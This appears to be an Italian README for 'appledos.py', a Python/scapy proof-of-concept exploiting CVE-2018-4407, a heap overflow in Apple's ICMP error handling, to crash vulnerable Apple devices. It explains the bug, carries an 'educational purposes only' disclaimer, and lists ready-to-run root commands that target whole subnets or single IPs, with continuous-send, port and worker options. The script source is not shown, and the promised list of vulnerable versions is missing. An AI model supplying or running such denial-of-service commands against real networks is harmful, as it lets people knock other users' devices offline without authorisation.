
Disturbare i dispositivi Apple sulla rete con CVE-2018-4407 (heap overflow nella gestione di pacchetti malformati)
Basato su CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407), questo tweet e questo video. Il bug è una vulnerabilità di heap overflow nella gestione di pacchetti malevoli quando il sistema operativo tenta di inviare un messaggio ICMP contenente segmenti del pacchetto malevolo al mittente.

Questo POC farà crashare i dispositivi Apple vulnerabili inviando dati di pacchetti TCP malevoli contenenti opzioni di intestazione TCP/IP lunghe, al fine di overfloware il messaggio ICMP quando il dispositivo tenta di inviare il messaggio di errore. È necessario avere la capacità di inviare dati di pacchetti di rete direttamente al dispositivo (ad esempio sulla stessa rete locale).
Le seguenti versioni di sistemi operativi e dispositivi sono vulnerabili:
SOLO A SCOPO EDUCATIVO. NON UTILIZZARE QUESTO SCRIPT PER ATTIVITÀ ILLEGALI. L'AUTORE NON È RESPONSABILE PER QUALSIASI USO IMPROPRIO O DANNO.
Assicurati di avere Python 3 e scapy.
pip install scapy
# or
pip3 install scapy
Potrebbe essere necessario eseguire lo script come root.
Invia pacchetto malevolo alla sottorete 192.168.1.0/24.
sudo ./appledos.py 192.168.1.0/24
Mostra l'IP dopo l'invio del pacchetto.
sudo ./appledos.py --verbose 192.168.1.0/24
Invia pacchetto malevolo alla sottorete 192.168.1.0/24 in continuazione.
sudo ./appledos.py --continuous 192.168.1.0/24
Cambia porta di destinazione (predefinita: 80). Puoi cambiarla con qualsiasi porta poiché i dispositivi risponderanno a qualsiasi pacchetto in arrivo su qualsiasi porta, ma potresti voler considerare il blocco delle porte o il firewall nell'host o nella rete.
sudo ./appledos.py --continuous --port 22 192.168.1.0/24
Invia pacchetto malevolo a un solo IP.
sudo ./appledos.py 192.168.1.118
Imposta il numero massimo di worker (predefinito: 100).
sudo ./appledos.py --worker 10 192.168.1.0/24
Questo script utilizza scapy e ha un problema noto nella gestione di /dev/bpf (Berkeley Packet Filter) quando si inviano dati di pacchetti da sistemi operativi come macOS con multi-thread. Se incontri No /dev/bpf handle is available, prova a ridurre il numero di worker a 1 o 2. In alternativa, puoi usare Linux come nel video dimostrativo.